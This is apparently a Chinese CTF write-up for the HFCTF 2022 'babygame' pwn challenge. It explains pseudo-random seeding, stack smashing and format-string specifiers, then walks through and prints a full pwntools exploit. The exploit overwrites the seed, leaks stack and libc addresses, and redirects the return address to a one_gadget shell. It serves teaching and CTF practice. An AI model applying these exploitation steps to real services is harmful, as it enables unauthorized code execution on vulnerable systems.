[虎符CTF 2022]babygame 悄悄话: 看大佬wp 看了好久,才明白这题的思路,典型的拆开来会写,拼一起就不会,还是太菜了,最近写基础,才发现当初学的不怎么样,这个就当一个复现了,给一个详细的wp 小建议: 写这题前,知晓有关随机数,格式化字符串漏洞和 Stack smash
的知识点,会好懂一点,我这里贴一些知识点
知识点:
ctypes库(调用 C 语言) 介绍:ctypes
是 Python 的标准库,用来调用 C 语言写的动态链接库(.so / .dll)并与 C 类型交互。 基本用法 加载动态库
1 2 3 from ctypes import * libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6") # 也可以用 windll.LoadLibrary("xxx.dll") 在 Windows 上
cdll
:调用 C 函数时按默认的 C 调用约定。 调用库里的函数
1 libc.printf(b"Hello, %d\n", 123)
直接调用,Python
会自动把 int 转换为 C int
。 2. rand函数
1 2 #include <stdlib.h> int rand (void ) ;
返回值:0 ~ RAND_MAX
(通常是 0~32767)之间的一个伪随机整数。
rand()
本身不是真随机,而是 伪随机 :依赖内部的全局种子 seed
。 如果不调用 srand()
初始化种子,rand()
默认相当于 srand(1)
,每次程序运行出来的随机序列都一样。 伪随机序列特性rand()
产生的序列是确定性的,只要种子相同,序列一定相同。 举例:
1 srand(1234); printf("%d\n", rand()); printf("%d\n", rand());
无论运行多少次,都输出一样的两个数字。
Stack smash
在程序加了 canary
保护之后,如果我们读取的 buffer
覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash
技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary
保护之后,如果发现 canary
被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0]
指针所指向的字符串,正常情况下,这个指针指向了程序名。 所以说如果我们利用栈溢出覆盖 argv[0]
为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息。 这个方法在 glibc-2.31 之后不可用了
格式符
作用
%x
打印栈上的4字节数据(十六进制)
%s
打印栈上指针指向的字符串
%n
写已打印字符数到对应指针指向的地址
%p
打印指针值(地址)
%d
打印十进制整数
%c
输出一个字符
准备 64 位,保护全开
分析 main函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 __int64 __fastcall main(__int64 a1, char **a2, char **a3) { char buf[256]; // [rsp+0h] [rbp-120h] BYREF unsigned int seed; // [rsp+100h] [rbp-20h] int v6; // [rsp+104h] [rbp-1Ch] unsigned __int64 v7; // [rsp+108h] [rbp-18h] v7 = __readfsqword(0x28u); sub_1269(a1, a2, a3); seed = time(0LL); puts("Welcome to HFCTF!"); puts("Please input your name:"); read(0, buf, 0x256uLL); printf("Hello, %s\n", buf); srand(seed); v6 = sub_1305(); if ( v6 > 0 ) sub_13F7(); return 0LL; }
先用当前时间作为随机数的种子 然后一个输入,读取输入最大 598(0x256) 个字节到 buf
中,但 buf
大小不够,所以存在缓冲区溢出 有一个 sub_1305
函数,函数结果赋值给 v6
下面用 if
判断,判断 v6
的值, v6
大于 0 时,有一个 sub_13F7
函数
sub_1305函数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 __int64 sub_1305() { int i; // [rsp+4h] [rbp-Ch] int n2_1; // [rsp+8h] [rbp-8h] int n2; // [rsp+Ch] [rbp-4h] puts("Let's start to play a game!"); puts("0. rock"); puts("1. scissor"); puts("2. paper"); for ( i = 0; i <= 99; ++i ) { printf("round %d: \n", i + 1); n2_1 = rand() % 3; n2 = sub_129C(); if ( n2_1 ) { if ( n2_1 == 1 ) { if ( n2 != 2 ) return 0LL; } else if ( n2_1 == 2 && n2 ) { return 0LL; } } else if ( n2 != 1 ) { return 0LL; } } return 1LL; }
0-石头,1-剪刀,2-布的游戏,循环 100 次,系统随机生成 0,1,2 中的一个,当我们 100 次都获胜的时候,返回值是 1 ,失败了就返回 0 ,最后会退出程序
sub_13F7函数 1 2 3 4 5 6 7 8 9 10 11 unsigned __int64 sub_13F7() { char buf[264]; // [rsp+0h] [rbp-110h] BYREF unsigned __int64 v2; // [rsp+108h] [rbp-8h] v2 = __readfsqword(0x28u); puts("Good luck to you."); read(0, buf, 0x100uLL); printf(buf); return __readfsqword(0x28u) ^ v2; }
一个输入,有格式化字符串漏洞
思路: 有溢出点和格式化字符串漏洞,但保护全开,需要绕过游戏限制 学习大佬的方法,打 one_gadget
,改返回地址为 one_gadget
,执行完直接触发 shell
(每次的想法先是改为 system('/bin/sh')
,怕麻烦遇到要改条件的 one_gadget
,这里用到也是促进自己多学了,毕竟有时候反而便利了许多) 开头先有一个溢出,所以可以用 Stack smash
的技巧,泄露一个栈地址 用 gdb
调试,直接运行 用 ni
指令单步调试,遇到输入点时,随便输入一个内容 一直运行到 read
函数之后,查看栈情况 获得输入点与 argv[0]
的偏移为 0x138
1 2 3 4 p.sendafter(b'name:\n', b'a'*0x137+b'b') p.recvuntil(b'b') stack=u64(p.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack))
最后一个填充写 b
方便定位,获得一个栈地址 这里去 ida
中查看栈情况
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 -0000000000000120 // Use data definition commands to manipulate stack variables and arguments. -0000000000000120 // Frame size: 120; Saved regs: 8; Purge: 0 -0000000000000120 -0000000000000120 _BYTE buf; -000000000000011F // padding byte -000000000000011E // padding byte -000000000000011D // padding byte -000000000000011C // padding byte -000000000000011B // padding byte -000000000000011A // padding byte -0000000000000119 // padding byte -0000000000000118 // padding byte -0000000000000117 // padding byte -0000000000000116 // padding byte -0000000000000115 // padding byte -0000000000000114 // padding byte -0000000000000113 // padding byte -0000000000000112 // padding byte -0000000000000111 // padding byte -0000000000000110 // padding byte -000000000000010F // padding byte -000000000000010E // padding byte -000000000000010D // padding byte -000000000000010C // padding byte -000000000000010B // padding byte -000000000000010A // padding byte -0000000000000109 // padding byte -0000000000000108 // padding byte -0000000000000107 // padding byte -0000000000000106 // padding byte -0000000000000105 // padding byte -0000000000000104 // padding byte -0000000000000103 // padding byte -0000000000000102 // padding byte -0000000000000101 // padding byte -0000000000000100 // padding byte -00000000000000FF // padding byte -00000000000000FE // padding byte -00000000000000FD // padding byte -00000000000000FC // padding byte -00000000000000FB // padding byte -00000000000000FA // padding byte -00000000000000F9 // padding byte -00000000000000F8 // padding byte -00000000000000F7 // padding byte -00000000000000F6 // padding byte -00000000000000F5 // padding byte -00000000000000F4 // padding byte -00000000000000F3 // padding byte -00000000000000F2 // padding byte -00000000000000F1 // padding byte -00000000000000F0 // padding byte -00000000000000EF // padding byte -00000000000000EE // padding byte -00000000000000ED // padding byte -00000000000000EC // padding byte -00000000000000EB // padding byte -00000000000000EA // padding byte -00000000000000E9 // padding byte -00000000000000E8 // padding byte -00000000000000E7 // padding byte -00000000000000E6 // padding byte -00000000000000E5 // padding byte -00000000000000E4 // padding byte -00000000000000E3 // padding byte -00000000000000E2 // padding byte -00000000000000E1 // padding byte -00000000000000E0 // padding byte -00000000000000DF // padding byte -00000000000000DE // padding byte -00000000000000DD // padding byte -00000000000000DC // padding byte -00000000000000DB // padding byte -00000000000000DA // padding byte -00000000000000D9 // padding byte -00000000000000D8 // padding byte -00000000000000D7 // padding byte -00000000000000D6 // padding byte -00000000000000D5 // padding byte -00000000000000D4 // padding byte -00000000000000D3 // padding byte -00000000000000D2 // padding byte -00000000000000D1 // padding byte -00000000000000D0 // padding byte -00000000000000CF // padding byte -00000000000000CE // padding byte -00000000000000CD // padding byte -00000000000000CC // padding byte -00000000000000CB // padding byte -00000000000000CA // padding byte -00000000000000C9 // padding byte -00000000000000C8 // padding byte -00000000000000C7 // padding byte -00000000000000C6 // padding byte -00000000000000C5 // padding byte -00000000000000C4 // padding byte -00000000000000C3 // padding byte -00000000000000C2 // padding byte -00000000000000C1 // padding byte -00000000000000C0 // padding byte -00000000000000BF // padding byte -00000000000000BE // padding byte -00000000000000BD // padding byte -00000000000000BC // padding byte -00000000000000BB // padding byte -00000000000000BA // padding byte -00000000000000B9 // padding byte -00000000000000B8 // padding byte -00000000000000B7 // padding byte -00000000000000B6 // padding byte -00000000000000B5 // padding byte -00000000000000B4 // padding byte -00000000000000B3 // padding byte -00000000000000B2 // padding byte -00000000000000B1 // padding byte -00000000000000B0 // padding byte -00000000000000AF // padding byte -00000000000000AE // padding byte -00000000000000AD // padding byte -00000000000000AC // padding byte -00000000000000AB // padding byte -00000000000000AA // padding byte -00000000000000A9 // padding byte -00000000000000A8 // padding byte -00000000000000A7 // padding byte -00000000000000A6 // padding byte -00000000000000A5 // padding byte -00000000000000A4 // padding byte -00000000000000A3 // padding byte -00000000000000A2 // padding byte -00000000000000A1 // padding byte -00000000000000A0 // padding byte -000000000000009F // padding byte -000000000000009E // padding byte -000000000000009D // padding byte -000000000000009C // padding byte -000000000000009B // padding byte -000000000000009A // padding byte -0000000000000099 // padding byte -0000000000000098 // padding byte -0000000000000097 // padding byte -0000000000000096 // padding byte -0000000000000095 // padding byte -0000000000000094 // padding byte -0000000000000093 // padding byte -0000000000000092 // padding byte -0000000000000091 // padding byte -0000000000000090 // padding byte -000000000000008F // padding byte -000000000000008E // padding byte -000000000000008D // padding byte -000000000000008C // padding byte -000000000000008B // padding byte -000000000000008A // padding byte -0000000000000089 // padding byte -0000000000000088 // padding byte -0000000000000087 // padding byte -0000000000000086 // padding byte -0000000000000085 // padding byte -0000000000000084 // padding byte -0000000000000083 // padding byte -0000000000000082 // padding byte -0000000000000081 // padding byte -0000000000000080 // padding byte -000000000000007F // padding byte -000000000000007E // padding byte -000000000000007D // padding byte -000000000000007C // padding byte -000000000000007B // padding byte -000000000000007A // padding byte -0000000000000079 // padding byte -0000000000000078 // padding byte -0000000000000077 // padding byte -0000000000000076 // padding byte -0000000000000075 // padding byte -0000000000000074 // padding byte -0000000000000073 // padding byte -0000000000000072 // padding byte -0000000000000071 // padding byte -0000000000000070 // padding byte -000000000000006F // padding byte -000000000000006E // padding byte -000000000000006D // padding byte -000000000000006C // padding byte -000000000000006B // padding byte -000000000000006A // padding byte -0000000000000069 // padding byte -0000000000000068 // padding byte -0000000000000067 // padding byte -0000000000000066 // padding byte -0000000000000065 // padding byte -0000000000000064 // padding byte -0000000000000063 // padding byte -0000000000000062 // padding byte -0000000000000061 // padding byte -0000000000000060 // padding byte -000000000000005F // padding byte -000000000000005E // padding byte -000000000000005D // padding byte -000000000000005C // padding byte -000000000000005B // padding byte -000000000000005A // padding byte -0000000000000059 // padding byte -0000000000000058 // padding byte -0000000000000057 // padding byte -0000000000000056 // padding byte -0000000000000055 // padding byte -0000000000000054 // padding byte -0000000000000053 // padding byte -0000000000000052 // padding byte -0000000000000051 // padding byte -0000000000000050 // padding byte -000000000000004F // padding byte -000000000000004E // padding byte -000000000000004D // padding byte -000000000000004C // padding byte -000000000000004B // padding byte -000000000000004A // padding byte -0000000000000049 // padding byte -0000000000000048 // padding byte -0000000000000047 // padding byte -0000000000000046 // padding byte -0000000000000045 // padding byte -0000000000000044 // padding byte -0000000000000043 // padding byte -0000000000000042 // padding byte -0000000000000041 // padding byte -0000000000000040 // padding byte -000000000000003F // padding byte -000000000000003E // padding byte -000000000000003D // padding byte -000000000000003C // padding byte -000000000000003B // padding byte -000000000000003A // padding byte -0000000000000039 // padding byte -0000000000000038 // padding byte -0000000000000037 // padding byte -0000000000000036 // padding byte -0000000000000035 // padding byte -0000000000000034 // padding byte -0000000000000033 // padding byte -0000000000000032 // padding byte -0000000000000031 // padding byte -0000000000000030 // padding byte -000000000000002F // padding byte -000000000000002E // padding byte -000000000000002D // padding byte -000000000000002C // padding byte -000000000000002B // padding byte -000000000000002A // padding byte -0000000000000029 // padding byte -0000000000000028 // padding byte -0000000000000027 // padding byte -0000000000000026 // padding byte -0000000000000025 // padding byte -0000000000000024 // padding byte -0000000000000023 // padding byte -0000000000000022 // padding byte -0000000000000021 // padding byte -0000000000000020 _DWORD var_20; -000000000000001C _DWORD var_1C; -0000000000000018 _QWORD var_18; -0000000000000010 // padding byte -000000000000000F // padding byte -000000000000000E // padding byte -000000000000000D // padding byte -000000000000000C // padding byte -000000000000000B // padding byte -000000000000000A // padding byte -0000000000000009 // padding byte -0000000000000008 // padding byte -0000000000000007 // padding byte -0000000000000006 // padding byte -0000000000000005 // padding byte -0000000000000004 // padding byte -0000000000000003 // padding byte -0000000000000002 // padding byte -0000000000000001 // padding byte +0000000000000000 _QWORD __saved_registers; +0000000000000008 _UNKNOWN *__return_address; +0000000000000010 +0000000000000010 // end of stack variables
输入点在 -0000000000000120 _BYTE buf;
seed
在 -0000000000000020 _DWORD var_20;
两者间的距离是 0x120-0x20=0x100 ,我们输入的填充大小是 0x138 ,所以这里的 seed
值被我覆盖成了 0x61616161 ,这样生成的随机数就是固定的一个值
1 2 3 4 5 6 7 8 9 10 11 p.sendafter(b'name:\n', b'a'*0x137+b'b') p.recvuntil(b'b') stack=u64(p.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) libcc.srand(0x61616161) server_choices = [libcc.rand() % 3 for _ in range(100)] text = [(choice + 1) % 3 for choice in server_choices] for i in range(100): p.sendafter(b'round', str(text[i]).encode())
成功绕过后就是利用格式化字符串漏洞 先用 aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
查看偏移(输入位置)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import * from ctypes import * context(os='linux', arch='amd64', log_level='debug') p = process('/home/motaly/ser') # p = remote('node5.anna.nssctf.cn',22777) libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so') libcc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6') p.sendafter(b'name:\n', b'a'*0x137+b'b') p.recvuntil(b'b') stack=u64(p.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) libcc.srand(0x61616161) server_choices = [libcc.rand() % 3 for _ in range(100)] text = [(choice + 1) % 3 for choice in server_choices] for i in range(100): p.sendafter(b'round', str(text[i]).encode()) p.sendafter(b'you.\n',b'aaaaaaaa.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p')
得到偏移为 6 在用 gdb
调试查看一下栈情况
1 2 3 4 for i in range(100): p.sendafter(b'round', str(text[i]).encode()) gdb.attach(p)
看到在第 9 个位置有一个 printf
函数的地址,在 rbp+8
处是返回地址,与开头我们获取到的栈地址相差 0x220 所以这里修改一字节的内容,修改的地址给到返回地址,同时泄露第 9 个参数的数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 p.sendafter(b'name:\n', b'a'*0x137+b'b') p.recvuntil(b'b') stack=u64(p.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) libcc.srand(0x61616161) server_choices = [libcc.rand() % 3 for _ in range(100)] text = [(choice + 1) % 3 for choice in server_choices] for i in range(100): p.sendafter(b'round', str(text[i]).encode()) p.sendafter(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220)) p.recvuntil(b'0x') printf_addr = int(p.recv(12), 16) - 175 log.success('printf: '+hex(printf_addr)) libc_base=printf_addr-libc.sym['printf'] log.success('libc_base: '+hex(libc_base))
接收到 you.\n
(这里 5 个字符),然后给 62 个字符,总的就是 67(0x43) (这里实际看数值是没改变的,只是链接到了返回地址,我觉得这里是为了下面的修改,更具体的我也不是很清楚) 后面再加一个泄露第 9 个参数,最后的 a
是填充,这里 %62c%8$hhn.%9$pa
有 16 个字符,64 位程序占 2 个参数位置,这里从第 6 个参数开始输入,所以这里写的位置是 8 和 9 这里读取的 printf
地址还存在偏移,要减去这个偏移值 最后直接用 fmtstr_payload
修改返回地址为 one_gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 p.sendafter(b'name:\n', b'a'*0x137+b'b') p.recvuntil(b'b') stack=u64(p.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) libcc.srand(0x61616161) server_choices = [libcc.rand() % 3 for _ in range(100)] text = [(choice + 1) % 3 for choice in server_choices] for i in range(100): p.sendafter(b'round', str(text[i]).encode()) p.sendafter(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220)) p.recvuntil(b'0x') printf_addr = int(p.recv(12), 16) - 175 log.success('printf: '+hex(printf_addr)) libc_base=printf_addr-libc.sym['printf'] log.success('libc_base: '+hex(libc_base)) one_gadget = libc_base + 0xe3b01 log.success('one_gadget: '+hex(one_gadget)) payload = fmtstr_payload(6, {(stack - 0x220):one_gadget}) p.sendafter(b'you.\n', payload)
主要还是最后这里用了 fmtstr_payload
,导致有些具体的不好调,有些细节思路看不了,当然也可能是我太菜了,我这个主要还是学习大佬的 wp 进行复现
脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import * from ctypes import * context(os='linux', arch='amd64', log_level='debug') p = process('/home/motaly/ser') # p = remote('node5.anna.nssctf.cn',22777) libc=ELF('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc-2.31.so') libcc=cdll.LoadLibrary('/home/motaly/glibc-all-in-one/libs/2.31-0ubuntu9.17_amd64/libc.so.6') p.sendafter(b'name:\n', b'a'*0x137+b'b') p.recvuntil(b'b') stack=u64(p.recv(6).ljust(8, b'\x00')) log.success('stack: '+hex(stack)) libcc.srand(0x61616161) server_choices = [libcc.rand() % 3 for _ in range(100)] text = [(choice + 1) % 3 for choice in server_choices] for i in range(100): p.sendafter(b'round', str(text[i]).encode()) p.sendafter(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220)) p.recvuntil(b'0x') printf_addr = int(p.recv(12), 16) - 175 log.success('printf: '+hex(printf_addr)) libc_base=printf_addr-libc.sym['printf'] log.success('libc_base: '+hex(libc_base)) one_gadget = libc_base + 0xe3b01 log.success('one_gadget: '+hex(one_gadget)) payload = fmtstr_payload(6, {(stack - 0x220):one_gadget}) p.sendafter(b'you.\n', payload) p.interactive()